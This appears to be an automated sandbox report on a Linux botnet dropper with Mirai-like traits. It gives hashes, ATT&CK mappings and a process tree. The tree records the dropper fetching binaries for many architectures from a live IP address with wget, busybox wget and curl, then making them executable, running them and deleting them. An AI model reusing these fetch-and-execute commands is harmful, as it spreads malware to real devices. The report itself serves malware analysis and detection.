6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/08/2026, 14:41

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
Size 5KB
Sample260823-r2mhcssway
SHA256 6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
MD5 b33ae521c69555ef6eaa8d58dfe3c0ee
SHA1 ce1c73832c8d43fe5c99a7a0a25677508d687a43
SHA512 a37975f4eba81b00afa6126e67a9996203be425bd30204d0ed6998379aab0be5b09ee6932eda04f41818e50a6c9cdc8f8fe8f0790125b914939de35f1f29cb10
SSDEEP 48:vrSu7DnfrIray/svDfOuKeSrt/Zg7hrK/Hay7N:vrSu7DnfrCayUvDfTKegtW7BK/3Z
TLSH
T141B192C7609B1CB03FE1E56B72BA490534D5A6CE91DAAF8AADEC3CF451CDC09B440693
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 39 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
800	chmod
813	chmod
840	chmod
906	chmod
934	chmod
890	chmod
675	chmod
690	chmod
728	chmod
757	chmod
860	chmod
879	chmod
898	chmod
663	chmod
710	chmod
845	chmod
865	chmod
752	chmod
762	chmod
872	chmod
894	chmod
910	chmod
922	chmod
930	chmod
818	chmod
828	chmod
855	chmod
902	chmod
680	chmod
746	chmod
886	chmod
670	chmod
823	chmod
833	chmod
850	chmod
914	chmod
918	chmod
926	chmod
780	chmod

Executes dropped EXE 39 IoCs

ioc	pid	Process
/tmp/MIPS	664	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/MIPSEL	671	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SH4	676	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/X86_64	681	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV6L	692	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I686	711	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/POWERPC	730	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I586	747	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/M68K	753	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SPARC	758	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV4L	763	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV5L	782	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV7L	802	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/MIPS	814	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/MIPSEL	819	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SH4	824	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/X86_64	829	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV6L	834	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I686	841	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/POWERPC	846	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I586	851	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/M68K	856	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SPARC	861	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV4L	866	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV5L	873	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV7L	880	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/MIPS	887	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/MIPSEL	891	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SH4	895	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/X86_64	899	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV6L	903	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I686	907	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/POWERPC	911	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/I586	915	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/M68K	919	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/SPARC	923	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV4L	927	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV5L	931	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/ARMV7L	935	6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef

Modifies Watchdog functionality 1 TTPs 16 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	ARMV4L
File opened for modification	/dev/watchdog	ARMV5L
File opened for modification	/dev/watchdog	ARMV6L
File opened for modification	/dev/misc/watchdog	ARMV6L
File opened for modification	/dev/watchdog	ARMV4L
File opened for modification	/dev/misc/watchdog	ARMV7L
File opened for modification	/dev/misc/watchdog	ARMV4L
File opened for modification	/dev/watchdog	ARMV5L
File opened for modification	/dev/watchdog	ARMV7L
File opened for modification	/dev/misc/watchdog	ARMV5L
File opened for modification	/dev/misc/watchdog	ARMV6L
File opened for modification	/dev/misc/watchdog	ARMV5L
File opened for modification	/dev/watchdog	ARMV7L
File opened for modification	/dev/watchdog	ARMV4L
File opened for modification	/dev/misc/watchdog	ARMV7L
File opened for modification	/dev/watchdog	ARMV6L

Reads system routing table 1 TTPs 8 IoCs

Gets active network interfaces from /proc virtual filesystem.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	ARMV5L
File opened for reading	/proc/net/route	ARMV7L
File opened for reading	/proc/net/route	ARMV6L
File opened for reading	/proc/net/route	ARMV4L
File opened for reading	/proc/net/route	ARMV5L
File opened for reading	/proc/net/route	ARMV7L
File opened for reading	/proc/net/route	ARMV6L
File opened for reading	/proc/net/route	ARMV4L

Changes its process name 8 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	sshd	692	ARMV6L
Changes the process name, possibly in an attempt to hide itself	sshd	763	ARMV4L
Changes the process name, possibly in an attempt to hide itself	sshd	782	ARMV5L
Changes the process name, possibly in an attempt to hide itself	sshd	802	ARMV7L
Changes the process name, possibly in an attempt to hide itself	sshd	834	ARMV6L
Changes the process name, possibly in an attempt to hide itself	sshd	866	ARMV4L
Changes the process name, possibly in an attempt to hide itself	sshd	873	ARMV5L
Changes the process name, possibly in an attempt to hide itself	sshd	880	ARMV7L

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads system network configuration 1 TTPs 8 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/route	ARMV6L
File opened for reading	/proc/net/route	ARMV4L
File opened for reading	/proc/net/route	ARMV5L
File opened for reading	/proc/net/route	ARMV7L
File opened for reading	/proc/net/route	ARMV6L
File opened for reading	/proc/net/route	ARMV4L
File opened for reading	/proc/net/route	ARMV5L
File opened for reading	/proc/net/route	ARMV7L

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 18 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
642	wget
888	rm
664	MIPS
671	MIPSEL
816	rm
817	busybox
887	MIPS
668	wget
808	busybox
885	curl
892	rm
667	rm
673	rm
814	MIPS
819	MIPSEL
821	rm
889	curl
891	MIPSEL

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/I586	busybox
File opened for modification	/tmp/MIPSEL	wget
File opened for modification	/tmp/SH4	wget
File opened for modification	/tmp/I586	wget
File opened for modification	/tmp/M68K	wget
File opened for modification	/tmp/SPARC	wget
File opened for modification	/tmp/POWERPC	busybox
File opened for modification	/tmp/SPARC	busybox
File opened for modification	/tmp/POWERPC	wget
File opened for modification	/tmp/ARMV4L	wget
File opened for modification	/tmp/ARMV6L	busybox
File opened for modification	/tmp/ARMV4L	busybox
File opened for modification	/tmp/I686	wget
File opened for modification	/tmp/ARMV5L	wget
File opened for modification	/tmp/MIPSEL	busybox
File opened for modification	/tmp/I686	busybox
File opened for modification	/tmp/M68K	busybox
File opened for modification	/tmp/ARMV5L	busybox
File opened for modification	/tmp/ARMV7L	busybox
File opened for modification	/tmp/MIPS	wget
File opened for modification	/tmp/X86_64	wget
File opened for modification	/tmp/ARMV6L	wget
File opened for modification	/tmp/ARMV7L	wget
File opened for modification	/tmp/MIPS	busybox
File opened for modification	/tmp/SH4	busybox
File opened for modification	/tmp/X86_64	busybox

/tmp/6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
/tmp/6315a95b1b445128e388e94bbdbd416fe36148811bb0f56b2c1ccb6602dfc5ef
1⤵
- Executes dropped EXE
PID:637
- /usr/bin/wget
  wget http://213.232.114.14/MIPS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:642
- /bin/chmod
  chmod +x MIPS
  2⤵
  - File and Directory Permissions Modification
  PID:663
- /tmp/MIPS
  ./MIPS
  2⤵
  - System Network Configuration Discovery
  PID:664
- /bin/rm
  rm -rf MIPS
  2⤵
  - System Network Configuration Discovery
  PID:667
- /usr/bin/wget
  wget http://213.232.114.14/MIPSEL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:668
- /bin/chmod
  chmod +x MIPSEL
  2⤵
  - File and Directory Permissions Modification
  PID:670
- /tmp/MIPSEL
  ./MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:671
- /bin/rm
  rm -rf MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:673
- /usr/bin/wget
  wget http://213.232.114.14/SH4
  2⤵
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod +x SH4
  2⤵
  - File and Directory Permissions Modification
  PID:675
- /tmp/SH4
  ./SH4
  2⤵
  PID:676
- /bin/rm
  rm -rf SH4
  2⤵
  PID:678
- /usr/bin/wget
  wget http://213.232.114.14/X86_64
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod +x X86_64
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/X86_64
  ./X86_64
  2⤵
  PID:681
- /bin/rm
  rm -rf X86_64
  2⤵
  PID:683
- /usr/bin/wget
  wget http://213.232.114.14/ARMV6L
  2⤵
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod +x ARMV6L
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/ARMV6L
  ./ARMV6L
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:692
- /bin/rm
  rm -rf ARMV6L
  2⤵
  PID:696
- /usr/bin/wget
  wget http://213.232.114.14/I686
  2⤵
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod +x I686
  2⤵
  - File and Directory Permissions Modification
  PID:710
- /tmp/I686
  ./I686
  2⤵
  PID:711
- /bin/rm
  rm -rf I686
  2⤵
  PID:714
- /usr/bin/wget
  wget http://213.232.114.14/POWERPC
  2⤵
  - Writes file to tmp directory
  PID:716
- /bin/chmod
  chmod +x POWERPC
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/POWERPC
  ./POWERPC
  2⤵
  PID:730
- /bin/rm
  rm -rf POWERPC
  2⤵
  PID:732
- /usr/bin/wget
  wget http://213.232.114.14/I586
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod +x I586
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/I586
  ./I586
  2⤵
  PID:747
- /bin/rm
  rm -rf I586
  2⤵
  PID:750
- /usr/bin/wget
  wget http://213.232.114.14/M68K
  2⤵
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod +x M68K
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/M68K
  ./M68K
  2⤵
  PID:753
- /bin/rm
  rm -rf M68K
  2⤵
  PID:755
- /usr/bin/wget
  wget http://213.232.114.14/SPARC
  2⤵
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod +x SPARC
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/SPARC
  ./SPARC
  2⤵
  PID:758
- /bin/rm
  rm -rf SPARC
  2⤵
  PID:760
- /usr/bin/wget
  wget http://213.232.114.14/ARMV4L
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod +x ARMV4L
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/ARMV4L
  ./ARMV4L
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:763
- /bin/rm
  rm -rf ARMV4L
  2⤵
  PID:767
- /usr/bin/wget
  wget http://213.232.114.14/ARMV5L
  2⤵
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod +x ARMV5L
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/ARMV5L
  ./ARMV5L
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:782
- /bin/rm
  rm -rf ARMV5L
  2⤵
  PID:787
- /usr/bin/wget
  wget http://213.232.114.14/ARMV7L
  2⤵
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod +x ARMV7L
  2⤵
  - File and Directory Permissions Modification
  PID:800
- /tmp/ARMV7L
  ./ARMV7L
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:802
- /bin/rm
  rm -rf ARMV7L
  2⤵
  PID:807
- /bin/busybox
  busybox wget http://213.232.114.14/MIPS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod +x MIPS
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/MIPS
  ./MIPS
  2⤵
  - System Network Configuration Discovery
  PID:814
- /bin/rm
  rm -rf MIPS
  2⤵
  - System Network Configuration Discovery
  PID:816
- /bin/busybox
  busybox wget http://213.232.114.14/MIPSEL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod +x MIPSEL
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/MIPSEL
  ./MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:819
- /bin/rm
  rm -rf MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:821
- /bin/busybox
  busybox wget http://213.232.114.14/SH4
  2⤵
  - Writes file to tmp directory
  PID:822
- /bin/chmod
  chmod +x SH4
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/SH4
  ./SH4
  2⤵
  PID:824
- /bin/rm
  rm -rf SH4
  2⤵
  PID:826
- /bin/busybox
  busybox wget http://213.232.114.14/X86_64
  2⤵
  - Writes file to tmp directory
  PID:827
- /bin/chmod
  chmod +x X86_64
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/X86_64
  ./X86_64
  2⤵
  PID:829
- /bin/rm
  rm -rf X86_64
  2⤵
  PID:831
- /bin/busybox
  busybox wget http://213.232.114.14/ARMV6L
  2⤵
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod +x ARMV6L
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/ARMV6L
  ./ARMV6L
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:834
- /bin/rm
  rm -rf ARMV6L
  2⤵
  PID:838
- /bin/busybox
  busybox wget http://213.232.114.14/I686
  2⤵
  - Writes file to tmp directory
  PID:839
- /bin/chmod
  chmod +x I686
  2⤵
  - File and Directory Permissions Modification
  PID:840
- /tmp/I686
  ./I686
  2⤵
  PID:841
- /bin/rm
  rm -rf I686
  2⤵
  PID:843
- /bin/busybox
  busybox wget http://213.232.114.14/POWERPC
  2⤵
  - Writes file to tmp directory
  PID:844
- /bin/chmod
  chmod +x POWERPC
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/POWERPC
  ./POWERPC
  2⤵
  PID:846
- /bin/rm
  rm -rf POWERPC
  2⤵
  PID:848
- /bin/busybox
  busybox wget http://213.232.114.14/I586
  2⤵
  - Writes file to tmp directory
  PID:849
- /bin/chmod
  chmod +x I586
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/I586
  ./I586
  2⤵
  PID:851
- /bin/rm
  rm -rf I586
  2⤵
  PID:853
- /bin/busybox
  busybox wget http://213.232.114.14/M68K
  2⤵
  - Writes file to tmp directory
  PID:854
- /bin/chmod
  chmod +x M68K
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/M68K
  ./M68K
  2⤵
  PID:856
- /bin/rm
  rm -rf M68K
  2⤵
  PID:858
- /bin/busybox
  busybox wget http://213.232.114.14/SPARC
  2⤵
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod +x SPARC
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/SPARC
  ./SPARC
  2⤵
  PID:861
- /bin/rm
  rm -rf SPARC
  2⤵
  PID:863
- /bin/busybox
  busybox wget http://213.232.114.14/ARMV4L
  2⤵
  - Writes file to tmp directory
  PID:864
- /bin/chmod
  chmod +x ARMV4L
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/ARMV4L
  ./ARMV4L
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:866
- /bin/rm
  rm -rf ARMV4L
  2⤵
  PID:870
- /bin/busybox
  busybox wget http://213.232.114.14/ARMV5L
  2⤵
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod +x ARMV5L
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/ARMV5L
  ./ARMV5L
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:873
- /bin/rm
  rm -rf ARMV5L
  2⤵
  PID:877
- /bin/busybox
  busybox wget http://213.232.114.14/ARMV7L
  2⤵
  - Writes file to tmp directory
  PID:878
- /bin/chmod
  chmod +x ARMV7L
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/ARMV7L
  ./ARMV7L
  2⤵
  - Modifies Watchdog functionality
  - Reads system routing table
  - Changes its process name
  - Reads system network configuration
  PID:880
- /bin/rm
  rm -rf ARMV7L
  2⤵
  PID:884
- /usr/bin/curl
  curl -O MIPS http://213.232.114.14/MIPS
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:885
- /bin/chmod
  chmod +x MIPS
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/MIPS
  ./MIPS
  2⤵
  - System Network Configuration Discovery
  PID:887
- /bin/rm
  rm -rf MIPS
  2⤵
  - System Network Configuration Discovery
  PID:888
- /usr/bin/curl
  curl -O MIPSEL http://213.232.114.14/MIPSEL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:889
- /bin/chmod
  chmod +x MIPSEL
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/MIPSEL
  ./MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:891
- /bin/rm
  rm -rf MIPSEL
  2⤵
  - System Network Configuration Discovery
  PID:892
- /usr/bin/curl
  curl -O SH4 http://213.232.114.14/SH4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:893
- /bin/chmod
  chmod +x SH4
  2⤵
  - File and Directory Permissions Modification
  PID:894
- /tmp/SH4
  ./SH4
  2⤵
  PID:895
- /bin/rm
  rm -rf SH4
  2⤵
  PID:896
- /usr/bin/curl
  curl -O X86_64 http://213.232.114.14/X86_64
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:897
- /bin/chmod
  chmod +x X86_64
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/X86_64
  ./X86_64
  2⤵
  PID:899
- /bin/rm
  rm -rf X86_64
  2⤵
  PID:900
- /usr/bin/curl
  curl -O ARMV6L http://213.232.114.14/ARMV6L
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:901
- /bin/chmod
  chmod +x ARMV6L
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/ARMV6L
  ./ARMV6L
  2⤵
  PID:903
- /bin/rm
  rm -rf ARMV6L
  2⤵
  PID:904
- /usr/bin/curl
  curl -O I686 http://213.232.114.14/I686
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:905
- /bin/chmod
  chmod +x I686
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/I686
  ./I686
  2⤵
  PID:907
- /bin/rm
  rm -rf I686
  2⤵
  PID:908
- /usr/bin/curl
  curl -O POWERPC http://213.232.114.14/POWERPC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:909
- /bin/chmod
  chmod +x POWERPC
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/POWERPC
  ./POWERPC
  2⤵
  PID:911
- /bin/rm
  rm -rf POWERPC
  2⤵
  PID:912
- /usr/bin/curl
  curl -O I586 http://213.232.114.14/I586
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:913
- /bin/chmod
  chmod +x I586
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/I586
  ./I586
  2⤵
  PID:915
- /bin/rm
  rm -rf I586
  2⤵
  PID:916
- /usr/bin/curl
  curl -O M68K http://213.232.114.14/M68K
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:917
- /bin/chmod
  chmod +x M68K
  2⤵
  - File and Directory Permissions Modification
  PID:918
- /tmp/M68K
  ./M68K
  2⤵
  PID:919
- /bin/rm
  rm -rf M68K
  2⤵
  PID:920
- /usr/bin/curl
  curl -O SPARC http://213.232.114.14/SPARC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:921
- /bin/chmod
  chmod +x SPARC
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/SPARC
  ./SPARC
  2⤵
  PID:923
- /bin/rm
  rm -rf SPARC
  2⤵
  PID:924
- /usr/bin/curl
  curl -O ARMV4L http://213.232.114.14/ARMV4L
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:925
- /bin/chmod
  chmod +x ARMV4L
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/ARMV4L
  ./ARMV4L
  2⤵
  PID:927
- /bin/rm
  rm -rf ARMV4L
  2⤵
  PID:928
- /usr/bin/curl
  curl -O ARMV5L http://213.232.114.14/ARMV5L
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:929
- /bin/chmod
  chmod +x ARMV5L
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/ARMV5L
  ./ARMV5L
  2⤵
  PID:931
- /bin/rm
  rm -rf ARMV5L
  2⤵
  PID:932
- /usr/bin/curl
  curl -O ARMV7L http://213.232.114.14/ARMV7L
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:933
- /bin/chmod
  chmod +x ARMV7L
  2⤵
  - File and Directory Permissions Modification
  PID:934
- /tmp/ARMV7L
  ./ARMV7L
  2⤵
  PID:935
- /bin/rm
  rm -rf ARMV7L
  2⤵
  PID:936

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ARMV4L

Path /tmp/ARMV4L
Size 89KB
SHA256 a0a5a4d1f42a9a0a0c62c2eaeda4a83fa9834f7e4d24989a92c77fddc0be5d98
MD5 5aa67f5821dd215dd33cc2616d25758c
SHA1 3b1cc8a38d9f503210c6d0dfbe4abb5ec48deb0e
SHA512 d391de471bbe3bcc12850e22a522069dd16271a6d1b92248c75d25bf638402ed0a25419bfba9606b12e1434ea3deadf174d72ab7471b7011420327a9392b8a6a
SSDEEP 1536:u9TpIOi3Z+N57BdBfIWuyFeppLLHkyopG/FNOCOFlvf4ab:7O6+N57BHjuyKLXbFNiQab
TLSH
T15C93E784FD549B1FC3D373F6EB59028D763A1FA8A7EB30269934BE9023F5AD42525120
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ARMV5L

Path /tmp/ARMV5L
Size 86KB
SHA256 44fa446d57a66fb30d1b9c0f55c39d9d4ba036564ac4b4f7cdeb4e30da33d739
MD5 d5b0f476bbb7f055da7da819ec4ac1c3
SHA1 3d84310914b8cff7de0d8f3598d0a0c1bf007600
SHA512 7a685380acf95c5faef1205ad6da1816eb1818730ee5b4edfc3c1a2bce8de41e65106aa7f87474970cbed2b2912c054a217624708996b548f267cab1db80d9b3
SSDEEP 1536:YZXNUOKLl+NuxAgtfIaNPNKJ6fYp+XBv8jNPNu5OlJ49b:ZOK+NuxTHNPjfYkRvONM9b
TLSH
T17A83F884FD459B1FC3D373FAE759028D763A1FA8A7EB30269934BE9023F5AD42525120
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ARMV6L

Path /tmp/ARMV6L
Size 100KB
SHA256 9e8b58253b8e183cd5d3b3a11b1534e1ab6124dc66e5589d7935968b0b7b5bc6
MD5 3fbddd4995e03497bffacf4b81e28263
SHA1 5a66374865d480ecd615a45ed8cef89804d6417c
